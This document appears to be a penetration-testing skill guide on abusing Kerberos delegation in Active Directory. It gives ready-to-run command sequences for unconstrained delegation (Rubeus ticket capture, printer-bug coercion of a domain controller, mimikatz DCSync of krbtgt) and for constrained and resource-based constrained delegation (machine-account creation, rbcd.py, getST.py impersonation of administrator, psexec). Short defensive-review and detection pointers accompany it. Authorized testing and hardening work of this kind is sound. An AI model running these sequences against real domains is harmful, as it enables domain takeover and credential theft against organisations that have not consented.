Attacking Kerberos Delegation

Attacking Kerberos Delegation

Delegation lets a service impersonate users to other services. Every form of it is a controlled way to become someone else, and each has a misconfiguration that removes the control. RBCD in particular turns a common, low-looking permission — write access to a computer object — into full compromise of that host, which is why it is the delegation attack that comes up most.

Only against domains you are authorized to test.

When to Use

• BloodHound flags Unconstrained, Constrained, or RBCD delegation
• You control an account with an SPN, or GenericWrite/GenericAll over a computer object
• You can create machine accounts (default MachineAccountQuota is 10)
• You control a host configured for delegation
• Reviewing delegation configuration defensively

When NOT to Use

• Certificate Services abuse — use abusing-adcs
• Kerberoasting, DCSync, general AD — use attacking-active-directory
• Entra ID — use attacking-entra-id
• Detection — use engineering-detections; TGS/S4U patterns and machine account creation (4741) are the telemetry

Enumerate the Three Types

# Constrained + unconstrained in one pass
findDelegation.py domain.local/user:pass -dc-ip 10.0.0.10        # impacket
# PowerView
Get-DomainComputer -Unconstrained | select name
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth
# RBCD is a per-object attribute; BloodHound's edges are the practical way to find it

Which type you are looking at decides everything:

Unconstrained Delegation

A host with unconstrained delegation caches the TGT of anyone who authenticates to it. Compromise the host, then coerce a high-value account — ideally a domain controller — to authenticate, and capture its TGT.

# On the compromised unconstrained host, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce a DC to authenticate to you
printerbug.py 'domain/user:pass@dc01.domain.local' attacker-host.domain.local
# or PetitPotam, or the MS-EFSR / MS-RPRN coercion of your choice

# Capture the DC's TGT, then DCSync with it
Rubeus.exe ptt /ticket:<base64 DC TGT>
mimikatz # lsadump::dcsync /user:krbtgt

The printer bug (MS-RPRN) and PetitPotam (MS-EFSR) exist precisely to force a target to authenticate. Coercing a domain controller to an unconstrained host is a direct path to domain compromise.

Constrained Delegation

A host with constrained delegation to a service can impersonate any user to that service — including a domain admin, and including yourself as a domain admin via S4U2Self followed by S4U2Proxy.

# You control an account with msDS-AllowedToDelegateTo set to, say, cifs/dc01
getST.py -spn cifs/dc01.domain.local -impersonate administrator \
  'domain.local/svc_account:password' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@dc01.domain.local

The alternate-service trick matters. S4U2Proxy returns a ticket for the SPN you request, but the service class is not cryptographically bound — a ticket for cifs/dc01 can be rewritten to host/dc01, ldap/dc01, or http/dc01, because the target service only checks the server name. So delegation constrained to a "harmless" service like time/dc01 still yields ldap/dc01 and therefore DCSync. Do not dismiss a constrained delegation because the listed SPN looks benign.

Resource-Based Constrained Delegation (RBCD)

The highest-frequency delegation attack, because the prerequisite is common: write access to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity. GenericWrite, GenericAll, WriteDacl, or WriteProperty over the target computer is enough.

# 1. Create a machine account (default quota allows 10 per user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123' \
  domain.local/user:pass -dc-ip 10.0.0.10

# 2. Write your new account into the target's RBCD attribute
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  domain.local/user:pass -dc-ip 10.0.0.10

# 3. Impersonate any user to the target via S4U
getST.py -spn cifs/target.domain.local -impersonate administrator \
  'domain.local/EVIL$:Password123' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@target.domain.local

This is why a BloodHound GenericWrite edge to a computer is not a low finding. It is a full takeover of that computer through three commands. When you report a write primitive over a computer object, report it at RBCD severity.

If MachineAccountQuota is 0, you cannot create a machine account — but any existing account you control that has an SPN works as the "from" identity, and if you can set an SPN on a user account you control (via GenericWrite on yourself or another user), that substitutes.

Protected Accounts

Several targets resist impersonation regardless of the delegation path:

• Members of Protected Users cannot be delegated.
• Accounts flagged "Account is sensitive and cannot be delegated" (NOT_DELEGATED) are excluded.
• If your intended impersonation target is protected, pick a different privileged account that is not — there is almost always one.

Check before spending effort:

Get-DomainUser -AllowDelegation -AdminCount | select name       # delegatable admins

Defensive Review

• Which accounts have unconstrained delegation, and do any need it? (A DC does; little else should.)
• Are privileged accounts in Protected Users and flagged NOT_DELEGATED?
• Is MachineAccountQuota reduced to 0?
• Who has write access over computer objects — especially servers and DCs?
• Is delegation to service classes on domain controllers audited?
• Are S4U2Self/S4U2Proxy patterns monitored?

Rationalizations to Reject

• "The delegation is only to a harmless service." The service class is rewritable. time/dc01 becomes ldap/dc01.
• "It's just GenericWrite on a computer, low severity." That is RBCD. It is a full host takeover.
• "We can't create machine accounts, quota is 0." Any SPN-bearing account you control substitutes.
• "Unconstrained delegation is on a member server, not a DC." Coerce a DC to authenticate to it. The server's trust level is irrelevant.
• "The impersonation target is a domain admin, it must be protected." Check. Most admins are not in Protected Users.
• "BloodHound didn't draw the edge." Delegation attributes need current collection; older data misses RBCD entirely.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

• T1558 Steal or Forge Kerberos Tickets — see also attacking-active-directory

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

• attacking-active-directory — DCSync and the wider domain path this feeds
• abusing-adcs — the other high-yield escalation family; often chains with this
• engineering-detections — S4U and machine-account-creation telemetry
• reporting-security-findings — severity for write-primitive findings
• impacket (getST, rbcd, addcomputer, findDelegation), Rubeus, PowerView, BloodHound